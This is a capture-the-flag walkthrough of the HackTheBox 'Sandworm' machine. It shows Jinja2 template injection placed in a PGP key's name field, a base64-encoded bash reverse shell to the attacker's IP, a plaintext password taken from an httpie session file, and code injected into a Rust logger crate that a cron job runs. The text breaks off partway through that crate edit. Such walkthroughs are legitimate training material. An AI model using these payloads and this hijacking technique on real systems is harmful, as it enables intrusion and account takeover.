Machine: Sandworm
Difficulty: Medium
Platform: HackTheBox
Release: Released on 06/17/2023
About Sandworm
Sandworm is a medium difficulty machine on HackTheBox. Firstly, we will exploit an SSTI vulnerability by abusing reflection when verifying signed PGP messages.
Shell as atlas (on firejail)
Thanks to the SSTI, we discovered a malicious payload to execute commands as
atlas
, and by utilizing a Bash Reverse Shell, we gained access to the user.
Shell as silentobserver
In the home directory of
atlas
, we discover credentials for the user silentobserver
and we gain access to the user through SSH.
Shell as atlas
There is a cron job executed by
atlas
. Atlas
runs a Set-UID file owned by him, and we have the privileges to hijack a library used by the binary executed by atlas
. After identifying the library, we add malicious content to execute commands as atlas
.
Shell as root
As
atlas
, we belong to the Jailer
group, which has the ability to execute the Set-UID binary firejail
. This version of firejail
is vulnerable to CVE‑2022‑31214
, which we exploit to gain root access.
Recon
First, we will conduct a port scan to discover open ports on the victim machine. For this, we will use the
nmap
tool:elswix@kali$ nmap -p- --open --min-rate 10000 -n 10.10.11.218
Nmap scan report for 10.10.11.218
Host is up (0.14s latency).
Not shown: 59046 closed tcp ports (conn-refused), 6486 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
elswix@kali$ nmap -sCV -p22,80,443 -oN fullScan 10.10.11.218
Nmap scan report for 10.10.11.218 (10.10.11.218)
Host is up (0.22s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
| Not valid before: 2023-05-04T18:03:25
|_Not valid after: 2050-09-19T18:03:25
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Secret Spy Agency | Secret Security Service
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
/etc/hosts
file to resolve the IP address of the target.elswix@kali$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali.localhost kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# HackTheBox
10.10.11.218 ssa.htb
SSL Certificate Inspection
Making use of
openssl
, we can examine the SSL certificate on port 443:elswix@kali$ openssl s_client -connect 10.10.11.218:443
atlas
.
Web Application
Upon accessing the website through our browser, we will see the following content:

Upon entering the
contact
section, we encounter information related to PGP messages:
A message with a hyperlink redirects us to the following page:

PGP
PGP (Pretty Good Privacy) is a software program developed by Phil Zimmermann in 1991, providing public-key cryptography for secure data communication. It uses a pair of keys, public and private, for encrypting and decrypting information. PGP is commonly used for encrypting emails and files. It ensures privacy by allowing users to share their public keys for encryption and maintain the secrecy of their private keys for decryption. Additionally, PGP supports digital signatures for verifying data integrity, making it a widely adopted standard for digital communication security.
This web application provides functionality for encrypting, decrypting, and validating the signing of PGP messages. Let's explore its features.
To begin, there is a section dedicated to decrypting messages:

In the encrypted text field, we need to input the PGP-encrypted message. To do this, we require the PGP Public Key associated with the encryption. Let's proceed to locate the key.

On the same page, there is a reference to where we can obtain the public key. Clicking on the hyperlink redirects us to the
/pgp
section:
Here, we have the PGP Public key, and I will copy it to my clipboard.
In my search for online PGP encrypters, I came across this page which allows us to encrypt any message by specifying a public key.
As an example, let's encrypt the message
Hello World
.
Here is the encrypted
Hello World
message using the provided Public Key:
Once copied, let's paste it into the
Encrypted Text
field:
Upon clicking on
Decrypt Message
, the application returns the plaintext message:
Given our knowledge that this website employs Flask in the backend and considering that older versions of Flask are susceptible to Server Side Template Injection (SSTI), we can attempt some payloads to validate this potential vulnerability.
Utilizing the same Public Key, I will encrypt the following payload obtained from HackTricks:
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}

Now, let's input the PGP-encrypted message into the
Encrypted Text
field:
It seems that the attempt to input the SSTI PGP-encrypted message was unsuccessful. Consequently, the encryption and decryption functionality may not be exploitable at this point.
Verifying signed messages
Verifying the signature of messages involves confirming their authenticity and integrity by checking a digital signature created with a private key against the corresponding public key. This ensures that the message hasn't been tampered with and originates from the holder of the private key.
At the bottom of the page, there is an illustrative example:

Let's copy this message and input it into the
Signed Text
field:
Additionally, we require the public key associated with the message. Let's copy it from the
/pgp
section:
Upon clicking on
Verify Signature
, the application displays the following message:
Before testing the signing functionality on the page using the
gpg
tool, we need to create some keys:elswix@kali$ gpg --gen-key
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
gpg: keybox '/home/elswix/.gnupg/pubring.kbx' created
Note: Use "gpg --full-generate-key" for a full featured key generation dialog.
GnuPG needs to construct a user ID to identify your key.
Real name:
elswix
.Now, it's asking for an Email Address; I will specify
elswix@elswix.com
:Real name: elswix
Email address:
O
:Email address: elswix@elswix.com
You selected this USER-ID:
"elswix <elswix@elswix.com>"
Change (N)ame, (E)mail, or (O)kay/(Q)uit? O
Now, we need to sign a message. First, I will place some random content in a file:
elswix@kali$ echo 'This is a test' > message.txt
gpg
:elswix@kali$ gpg --clearsign --local-user elswix@elswix.com -o signed_message.txt -a message.txt
elswix@kali$ cat signed_message.txt
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
This is a test
-----BEGIN PGP SIGNATURE-----
iQHGBAEBCgAwFiEEoPY4HuyVPyH/BODA730zdsfxfbcFAmVZBhMSHGVsc3dpeEBl
bHN3aXguY29tAAoJEO99M3bH8X23xSAL/0SiywbJ6Oj2IJZaojcQhgjW22t9z7s/
RTkQv9IfXTwzUtK5o+xwkvbP2CyhL2DMJf6so/tP+fqbGSwn/EcIjnyvtVDCQNlU
rdveC2f/2M3f2Q2Uoku+N9Y/LxUPhdJ31za2L4Eizk+QP6beb6wz+JNUN5JCWyBz
4Kj0PChIIubaxn3G4vdwENqnwXnR/1+OOerAzvkc/Oqns1Ou+K+yNSohd3DguoVk
3dB8uU8FRS4Ldhmctie29LGTbNX7umjRXuXSeZPKCydzvLDNHssOtBp8G6A1qZxk
02RTmo3XGtuK33Mjp2MBwVnlKrvm9PlEoBf5DPLr9i7CWAt8luCDaUmA3mBDcdfO
TeAmUsoRnZw1ss9DkWoj312bPnti9GbvyL3Mg3RNMka7AewDXo6NJXGnij5M0fTc
9/Dowc0k2s7bt+YWR24JOh/iwA/GKpjsdneJ3vyrbVsFzjJIaKzXk4tU8evg5UIR
Ip3CfIMyfc3SX069fLAhMLjjaLGk715/Tw==
=PS98
-----END PGP SIGNATURE-----
--export
parameter. Remember to include the --armor
parameter to obtain an ASCII text output:elswix@kali$ gpg --export --armor elswix@elswix.com > public_key
elswix@kali$ cat public_key
-----BEGIN PGP PUBLIC KEY BLOCK-----
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
3veJXTAW4UqfoAIklzEyrWYf
=CagM
-----END PGP PUBLIC KEY BLOCK-----

Upon clicking on
Verify Signature
, the application displays the following:
It's evident that the
Email
and the Real Name
specified during key generation are reflected in this message. Let's attempt the Server-Side Template Injection (SSTI) once again.I will create new keys, specifying
{{7*7}}
as the Real Name and elswix1@elswix.com
as the Email:elswix@kali$ gpg --gen-key
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Note: Use "gpg --full-generate-key" for a full featured key generation dialog.
GnuPG needs to construct a user ID to identify your key.
Real name: {{7*7}}
Email address: elswix1@elswix.com
You selected this USER-ID:
"{{7*7}} <elswix1@elswix.com>"
Change (N)ame, (E)mail, or (O)kay/(Q)uit? O
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
gpg: revocation certificate stored as '/home/elswix/.gnupg/openpgp-revocs.d/C22982C73DE901507E5A32B4F42AD5179C0A3B69.rev'
public and secret key created and signed.
pub rsa3072 2023-11-18 [SC] [expires: 2025-11-17]
C22982C73DE901507E5A32B4F42AD5179C0A3B69
uid {{7*7}} <elswix1@elswix.com>
sub rsa3072 2023-11-18 [E] [expires: 2025-11-17]
elswix@kali$ gpg --clearsign --local-user elswix1@elswix.com -o signed_message.txt -a message.txt
File 'signed_message.txt' exists. Overwrite? (y/N) y
elswix@kali$ gpg --export --armor elswix1@elswix.com > public_key

Upon clicking
Verify Signature
, it becomes apparent that we have successfully exploited an SSTI:
The mathematical operation (
{{7*7}}
) was interpreted and returned 49.In PayloadsAllTheThings, there are payloads for achieving Remote Command Execution using
Jinja2
. I will use the following payload:{{ cycler.__init__.__globals__.os.popen('id').read() }}
elswix@kali$ gpg --gen-key
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Note: Use "gpg --full-generate-key" for a full featured key generation dialog.
GnuPG needs to construct a user ID to identify your key.
Real name: {{ cycler.__init__.__globals__.os.popen('id').read() }}
Email address: elswix2@elswix.com
You selected this USER-ID:
"{{ cycler.__init__.__globals__.os.popen('id').read() }} <elswix2@elswix.com>"
Change (N)ame, (E)mail, or (O)kay/(Q)uit? O
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
gpg: revocation certificate stored as '/home/elswix/.gnupg/openpgp-revocs.d/3E46F2DF7BD37FF4F8E4A250A43894FC44028538.rev'
public and secret key created and signed.
pub rsa3072 2023-11-18 [SC] [expires: 2025-11-17]
3E46F2DF7BD37FF4F8E4A250A43894FC44028538
uid {{ cycler.__init__.__globals__.os.popen('id').read() }} <elswix2@elswix.com>
sub rsa3072 2023-11-18 [E] [expires: 2025-11-17]
elswix@kali$ gpg --clearsign --local-user elswix2@elswix.com -o signed_message.txt -a message.txt
File 'signed_message.txt' exists. Overwrite? (y/N) y
elswix@kali$ gpg --export --armor elswix2@elswix.com > public_key

Upon clicking on
Verify Signature
, the page displays the following content:
We're now executing system-level commands on the victim machine by exploiting the SSTI vulnerability.
Executing commands in this manner can be cumbersome, so let's send a reverse shell. Given that the standard bash reverse shell contains numerous special characters, I will encode the payload in base64:
elswix@kali$ echo 'bash -i >& /dev/tcp/10.10.16.7/3001 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi43LzMwMDEgMD4mMQo=
{{ cycler.__init__.__globals__.os.popen('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi43LzMwMDEgMD4mMQo= | base64 -d | bash').read() }}
elswix@kali$ gpg --gen-key
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Note: Use "gpg --full-generate-key" for a full featured key generation dialog.
GnuPG needs to construct a user ID to identify your key.
Real name:
Real name: {{ cycler.__init__.__globals__.os.popen('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi43LzMwMDEgMD4mMQo= | base64 -d | bash').read() }}
Email address: elswix3@elswix.com
elswix@kali$ gpg --clearsign --local-user elswix3@elswix.com -o signed_message.txt -a message.txt
File 'signed_message.txt' exists. Overwrite? (y/N) y
elswix@kali$ gpg --export --armor elswix3@elswix.com > public_key
elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Verify Signature

Finally, we have obtained the reverse shell:
elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Ncat: Connection from 10.10.11.218:48978.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
/usr/local/sbin/lesspipe: 1: dirname: not found
atlas@sandworm:/var/www/html/SSA$
It appears to be a restricted shell, as certain commands like
whoami
do not seem to be available:atlas@sandworm:~$ whoami
whoami
Could not find command-not-found database. Run 'sudo apt update' to populate it.
whoami: command not found
atlas@sandworm:~$
script
command is not available. Therefore, we need to explore alternative methods to upgrade our shell.Fortunately, Python3 is available, and we can leverage the
pty
module to upgrade our shell:atlas@sandworm:~$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
/usr/local/sbin/lesspipe: 1: dirname: not found
atlas@sandworm:~$
Ctrl+Z
to background the current shell process, and then run the following commands:elswix@kali$ stty raw -echo;fg
atlas@sandworm:~$ export TERM=xterm
/home
directory, we observe that there are two users:atlas@sandworm:~$ ls -l /home
total 4
drwxr-xr-x 8 atlas atlas 4096 Nov 18 16:01 atlas
dr-------- 2 nobody nogroup 40 Nov 18 11:06 silentobserver
atlas@sandworm:~$
atlas@sandworm:~$ ls -la
total 48
drwxr-xr-x 8 atlas atlas 4096 Nov 18 16:01 .
drwxr-xr-x 4 nobody nogroup 4096 May 4 2023 ..
lrwxrwxrwx 1 nobody nogroup 9 Nov 22 2022 .bash_history -> /dev/null
-rw-r--r-- 1 atlas atlas 220 Nov 22 2022 .bash_logout
-rw-r--r-- 1 atlas atlas 3771 Nov 22 2022 .bashrc
drwxrwxr-x 2 atlas atlas 4096 Jun 6 08:49 .cache
drwxrwxr-x 3 atlas atlas 4096 Feb 7 2023 .cargo
drwxrwxr-x 4 atlas atlas 4096 Jan 15 2023 .config
drwx------ 4 atlas atlas 4096 Nov 18 19:38 .gnupg
drwxrwxr-x 6 atlas atlas 4096 Feb 6 2023 .local
-rw-r--r-- 1 atlas atlas 807 Nov 22 2022 .profile
drwx------ 2 atlas atlas 4096 Nov 18 16:06 .ssh
-rw------- 1 atlas atlas 868 Nov 18 16:01 .viminfo
atlas@sandworm:~$
.config
directory, the following content is observed:atlas@sandworm:~$ cd .config
atlas@sandworm:~/.config$ ls -la
total 12
drwxrwxr-x 4 atlas atlas 4096 Jan 15 2023 .
drwxr-xr-x 8 atlas atlas 4096 Nov 18 16:01 ..
dr-------- 2 nobody nogroup 40 Nov 18 11:06 firejail
drwxrwxr-x 3 nobody atlas 4096 Jan 15 2023 httpie
atlas@sandworm:~/.config$
Upon investigating the
httpie
directory, I discovered the following file:atlas@sandworm:~/.config$ cd httpie/sessions/localhost_5000/
admin.json
atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ ls -l
total 4
-rw-r--r-- 1 nobody atlas 611 May 4 2023 admin.json
atlas@sandworm:~/.config/httpie/sessions/localhost_5000$
silentobserver
:atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ cat admin.json
{
"__meta__": {
"about": "HTTPie session file",
"help": "https://httpie.io/docs#sessions",
"httpie": "2.6.0"
},
"auth": {
"password": "quietLiketheWind22",
"type": null,
"username": "silentobserver"
},
"cookies": {
"session": {
"expires": null,
"path": "/",
"secure": false,
"value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
}
},
"headers": {
"Accept": "application/json, */*;q=0.5"
}
}
atlas@sandworm:~/.config/httpie/sessions/localhost_5000$
silentobserver
using these credentials through the SSH service:elswix@kali$ sshpass -p 'quietLiketheWind22' ssh silentobserver@10.10.11.218
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-73-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat Nov 18 08:58:19 PM UTC 2023
System load: 0.02978515625
Usage of /: 78.1% of 11.65GB
Memory usage: 23%
Swap usage: 0%
Processes: 245
Users logged in: 0
IPv4 address for eth0: 10.10.11.218
IPv6 address for eth0: dead:beef::250:56ff:feb9:40b8
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Nov 18 16:04:32 2023 from 10.10.16.7
silentobserver@sandworm:~$
silentobserver
.
Shell as atlas
It appears that
silentobserver
does not belong to any specific groups:silentobserver@sandworm:~$ id
uid=1001(silentobserver) gid=1001(silentobserver) groups=1001(silentobserver)
silentobserver
, it is evident that the user does not have the ability to execute any command with sudo privileges:silentobserver@sandworm:~$ sudo -l
[sudo] password for silentobserver:
Sorry, user silentobserver may not run sudo on localhost.
silentobserver@sandworm:~$
silentobserver@sandworm:~$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
silentobserver@sandworm:~$
silentobserver@sandworm:~$ find / -perm -4000 2>/dev/null
/opt/tipnet/target/debug/tipnet
/opt/tipnet/target/debug/deps/tipnet-a859bd054535b3c1
/opt/tipnet/target/debug/deps/tipnet-dabc93f7704f7b48
/usr/local/bin/firejail
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/usr/bin/mount
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/su
/usr/bin/fusermount3
silentobserver@sandworm:~$
firejail
:silentobserver@sandworm:~$ /usr/local/bin/firejail
-bash: /usr/local/bin/firejail: Permission denied
silentobserver@sandworm:~$
Permission Denied
error. Upon inspecting its privileges, it becomes apparent that membership in the Jailer
group is required to execute this binary:silentobserver@sandworm:~$ ls -l /usr/local/bin/firejail
-rwsr-x--- 1 root jailer 1777952 Nov 29 2022 /usr/local/bin/firejail
silentobserver@sandworm:~$
tipnet
, and it appears to be a compiled binary:silentobserver@sandworm:~$ ls -l /opt/tipnet/target/debug/tipnet
-rwsrwxr-x 2 atlas atlas 59087648 Nov 18 16:04 /opt/tipnet/target/debug/tipnet
silentobserver@sandworm:~$ file /opt/tipnet/target/debug/tipnet
/opt/tipnet/target/debug/tipnet: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7a6eafbd277ceb248bd47f806f7677f57fb9d7dd, for GNU/Linux 3.2.0, with debug_info, not stripped
tipnet
:silentobserver@sandworm:~$ /opt/tipnet/target/debug/tipnet
,,
MMP""MM""YMM db `7MN. `7MF' mm
P' MM `7 MMN. M MM
MM `7MM `7MMpdMAo. M YMb M .gP"Ya mmMMmm
MM MM MM `Wb M `MN. M ,M' Yb MM
MM MM MM M8 M `MM.M 8M"""""" MM
MM MM MM ,AP M YMM YM. , MM
.JMML. .JMML. MMbmmd'.JML. YM `Mbmmd' `Mbmo
MM
.JMML.
Select mode of usage:
a) Upstream
b) Regular (WIP)
c) Emperor (WIP)
d) SQUARE (WIP)
e) Refresh Indeces
,,
MMP""MM""YMM db `7MN. `7MF' mm
P' MM `7 MMN. M MM
MM `7MM `7MMpdMAo. M YMb M .gP"Ya mmMMmm
MM MM MM `Wb M `MN. M ,M' Yb MM
MM MM MM M8 M `MM.M 8M"""""" MM
MM MM MM ,AP M YMM YM. , MM
.JMML. .JMML. MMbmmd'.JML. YM `Mbmmd' `Mbmo
MM
.JMML.
Select mode of usage:
a) Upstream
b) Regular (WIP)
c) Emperor (WIP)
d) SQUARE (WIP)
e) Refresh Indeces
a
[+] Upstream selected
Enter keywords to perform the query:
test
Justification for the search:
test
[2022-03-22 22:06:13] 104.121.74.33 ===> 201.34.89.21 | Did you see the latest episode of Game of Thrones? It was so good!
silentobserver@sandworm:~$
silentobserver@sandworm:/opt/tipnet$ ls -la
total 136
drwxr-xr-x 5 root atlas 4096 Jun 6 11:49 .
drwxr-xr-x 4 root root 4096 Nov 18 21:28 ..
-rw-rw-r-- 1 atlas atlas 57098 Nov 18 21:28 access.log
-rw-r--r-- 1 root atlas 46161 May 4 2023 Cargo.lock
-rw-r--r-- 1 root atlas 288 May 4 2023 Cargo.toml
drwxr-xr-- 6 root atlas 4096 Jun 6 11:49 .git
-rwxr-xr-- 1 root atlas 8 Feb 8 2023 .gitignore
drwxr-xr-x 2 root atlas 4096 Jun 6 11:49 src
drwxr-xr-x 3 root atlas 4096 Jun 6 11:49 target
silentobserver@sandworm:/opt/tipnet$
Upon listing the contents of the
/opt
directory, another project is discovered:silentobserver@sandworm:/opt/tipnet/src$ ls -l /opt
total 8
drwxr-xr-x 3 root atlas 4096 May 4 2023 crates
drwxr-xr-x 5 root atlas 4096 Jun 6 11:49 tipnet
silentobserver@sandworm:/opt/tipnet/src$
logger
is present:silentobserver@sandworm:/opt/tipnet/src$ cd /opt/crates/
silentobserver@sandworm:/opt/crates$ ls -la
total 12
drwxr-xr-x 3 root atlas 4096 May 4 2023 .
drwxr-xr-x 4 root root 4096 Nov 18 21:34 ..
drwxr-xr-x 5 atlas silentobserver 4096 May 4 2023 logger
silentobserver@sandworm:/opt/crates$
silentobserver@sandworm:/opt/crates/logger$ ls -la
total 40
drwxr-xr-x 5 atlas silentobserver 4096 May 4 2023 .
drwxr-xr-x 3 root atlas 4096 May 4 2023 ..
-rw-r--r-- 1 atlas silentobserver 11644 May 4 2023 Cargo.lock
-rw-r--r-- 1 atlas silentobserver 190 May 4 2023 Cargo.toml
drwxrwxr-x 6 atlas silentobserver 4096 May 4 2023 .git
-rw-rw-r-- 1 atlas silentobserver 20 May 4 2023 .gitignore
drwxrwxr-x 2 atlas silentobserver 4096 May 4 2023 src
drwxrwxr-x 3 atlas silentobserver 4096 May 4 2023 target
silentobserver@sandworm:/opt/crates/logger$
pspy64
release version and uploaded it to the victim machine.After waiting patiently, a cron job was executed:

tipnet
using Cargo. Let's explore how we can exploit this to gain access as "atlas."Upon inspecting the source code of
tipnet
, it was discovered that logger
is being executed:silentobserver@sandworm:/opt/tipnet/src$ cat main.rs | grep logger
extern crate logger;
logger::log(username, keywords.as_str().trim(), "Attempted to query TipNet without justification.");
logger::log(username, keywords.as_str().trim(), justification.as_str());
logger::log("ROUTINE", " - ", "Pulling fresh submissions into database.");
silentobserver@sandworm:/opt/tipnet/src$
log
function from logger
is being called. Let's delve into the source code of logger
.Upon listing the contents of
/src
for logger
, a Rust file named lib.rs
is found:silentobserver@sandworm:/opt/crates/logger/src$ ls -la
total 12
drwxrwxr-x 2 atlas silentobserver 4096 May 4 2023 .
drwxr-xr-x 5 atlas silentobserver 4096 May 4 2023 ..
-rw-rw-r-- 1 atlas silentobserver 732 May 4 2023 lib.rs
silentobserver@sandworm:/opt/crates/logger/src$
log
function being invoked in tipnet
:extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
pub fn log(user: &str, query: &str, justification: &str) {
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
silentobserver@sandworm:/opt/crates/logger/src$
We can add the following content to execute commands:
use std::process::Command;
Command::new("bash")
.arg("-c")
.arg("touch /tmp/pwnedbyelswix")
.spawn()
.expect("ls command failed to start");
log
function. Initially, I will copy lib.rs
to the /dev/shm/
directory, as I observed that the logger
project is being deleted every two minutes after "atlas" runs its cron job.silentobserver@sandworm:/opt/crates/logger/src$ cp lib.rs /dev/shm/lib.rs
silentobserver@sandworm:/opt/crates/logger/src$ cd /dev/shm
silentobserver@sandworm:/dev/shm$
silentobserver@sandworm:/dev/shm$ cat lib.rs
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
pub fn log(user: &str, query: &str, justification: &str) {
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
use std::process::Command;
Command::new("bash")
.arg("-c")
.arg("touch /tmp/pwnedbyelswix")
.spawn()
.expect("ls command failed to start");
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
